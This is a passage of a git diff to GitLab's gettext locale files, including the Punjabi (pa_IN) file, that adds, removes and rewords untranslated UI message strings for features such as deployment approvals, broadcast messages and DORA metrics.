+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/pa_IN/gitlab.po b/locale/pa_IN/gitlab.po
index 4448314d43e..2e62d075334 100644
--- a/locale/pa_IN/gitlab.po
+++ b/locale/pa_IN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: pa-IN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
